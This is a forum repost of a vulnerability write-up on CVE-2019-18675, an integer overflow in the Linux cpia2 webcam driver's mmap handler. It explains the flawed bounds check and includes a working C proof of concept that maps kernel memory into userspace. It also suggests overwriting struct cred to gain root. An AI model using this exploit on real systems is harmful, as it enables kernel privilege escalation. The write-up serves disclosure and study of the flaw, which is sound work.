Nytro Posted November 30, 2019 Report Posted November 30, 2019 Kernel Research / mmap handler exploitation November 22, 2019 Description Recently I started to review the linux kernel, I’ve putted much time and effort trying to identify vulnerabilities. I looked on the cpia2 driver , which is a V4L driver , aimed for supporting cpia2 webcams. official documentation here. I found a vulnerability in the mmap handler implementation of the driver. Kernel drivers may re-implement their own mmap handlers , usually for speeding up the process of exchanging data between user space and kernel space. The cpia2 driver re-implement a mmap hanlder for sharing the frame’s buffer with the user application which controls the camera. — Lets get into it Here is the userspace mmap function prototype (taken from man): void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); Here the user supplies parameter for the mapping , we will be interested in the size and offset parameters. length - will determine the length of the mapping offset - will determine the offset from the beginning of the device we will start the mapping from. The driver’s specific mmap handler will remap kernel memory to userspace using a function like remap_pfn_range CVE-2019-18675 Lets have a look at the cpia2 mmap handler implementation: We can see the file_operations struct: /*** * The v4l video device structure initialized for this device ***/ static const struct v4l2_file_operations cpia2_fops = { .owner = THIS_MODULE, .open = cpia2_open, .release = cpia2_close, .read = cpia2_v4l_read, .poll = cpia2_v4l_poll, .unlocked_ioctl = video_ioctl2, .mmap = cpia2_mmap, }; Lets look at the function cpia2_mmap static int cpia2_mmap(struct file *file, struct vm_area_struct *area) { struct camera_data *cam = video_drvdata(file); int retval; if (mutex_lock_interruptible(&cam->v4l2_lock)) return -ERESTARTSYS; retval = cpia2_remap_buffer(cam, area); if(!retval) cam->stream_fh = file->private_data; mutex_unlock(&cam->v4l2_lock); return retval; } It just calls the function cpia2_remap_buffer() with a pointer to the camera_data struct: /****************************************************************************** * * cpia2_remap_buffer * *****************************************************************************/ int cpia2_remap_buffer(struct camera_data *cam, struct vm_area_struct *vma) { const char *adr = (const char *)vma->vm_start; unsigned long size = vma->vm_end-vma->vm_start; unsigned long start_offset = vma->vm_pgoff << PAGE_SHIFT; unsigned long start = (unsigned long) adr; unsigned long page, pos; DBG("mmap offset:%ld size:%ld\n", start_offset, size); if (!video_is_registered(&cam->vdev)) return -ENODEV; if (size > cam->frame_size*cam->num_frames || (start_offset % cam->frame_size) != 0 || (start_offset+size > cam->frame_size*cam->num_frames)) return -EINVAL; pos = ((unsigned long) (cam->frame_buffer)) + start_offset; while (size > 0) { page = kvirt_to_pa(pos); if (remap_pfn_range(vma, start, page >> PAGE_SHIFT, PAGE_SIZE, PAGE_SHARED)) return -EAGAIN; start += PAGE_SIZE; pos += PAGE_SIZE; if (size > PAGE_SIZE) size -= PAGE_SIZE; else size = 0; } cam->mmapped = true; return 0; } we can see that start_offset + size is being calculated , and the sum is being compared to the total size of the frames: if(... || (start_offset+size > cam->frame_size*cam->num_frames)) return -EINVAL; However, the calculation start_offset + size could wrap-around to a low value (a.k.a Integer Overflow), allowing an attacker to bypass the check while still using a big start_offset value which will lead to mapping of unintended kernel memory. The only requirement is that the start_offset value will be a multiple of the frame_size (which can be controlled by the cpia2 driver options, by default its 68k). And this can be quite bad because a huge offset will allow us to perform a mapping in an arbitrary offset (outside of the frame buffer’s bounds) , and this can possibly result in a privillege escalation Demo time! I’ve used a qemu kernel virtual machine (here). Now we have to: Open /dev/video0 mmaping size 0x11000 at offset 0xffffffffffff0000. The overlow will ocuur and we will pass the check Here is a minimalistic example for exploit code: #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #define VIDEO_DEVICE "/dev/video0" int main(){ pid_t pid; char command[40]; int fd = open(VIDEO_DEVICE , O_RDWR); if(fd < 0){ printf("[-]Error opening device file\n"); } printf("[+]Demonstration\n"); pid = getpid(); printf("[~]PID IS %d ", pid); getchar(); int size = 0x11000; unsigned long mapStarter = 0x43434000; unsigned long * mapped = mmap((void *)mapStarter, size, PROT_WRITE | PROT_READ, MAP_SHARED , fd , 0xffffffffffff0000); if(mapped == MAP_FAILED) printf("[-]Error mapping the specified region\n"); else puts("[+]mmap went successfully\n"); /*view the /proc/<pid>/maps file */ sprintf(command , "cat /proc/%d/maps", pid); system(command); return 0; } Compile and run: and B00M! we have got a read and write primitives in kernel space! By modifying struct cred or kernel function pointers/ variables we can possibly gain root! or destroy kernel data! Tips and thoughts Because I didnt have the required hardware (for example, Intel Qx5 microscope ), I’ve made some changes in the driver’s code for this poc . I made some changes to the hardware and usb’s parts, In a way that allowed me to test the mmap functionallity as its in the original driver . Because the vulnerability is not related to the hardware interaction partsl , this wasn’t a problem. This way I could research more and even debug the interesting parts without being depend on hardware. This vulnerability is more than 8 years old! This is my first public vulnerability! Additional info CVE-2019-18675 on NVD CVE-2019-18675 on Mitre Sursa: https://deshal3v.github.io/blog/kernel-research/mmap_exploitation Quote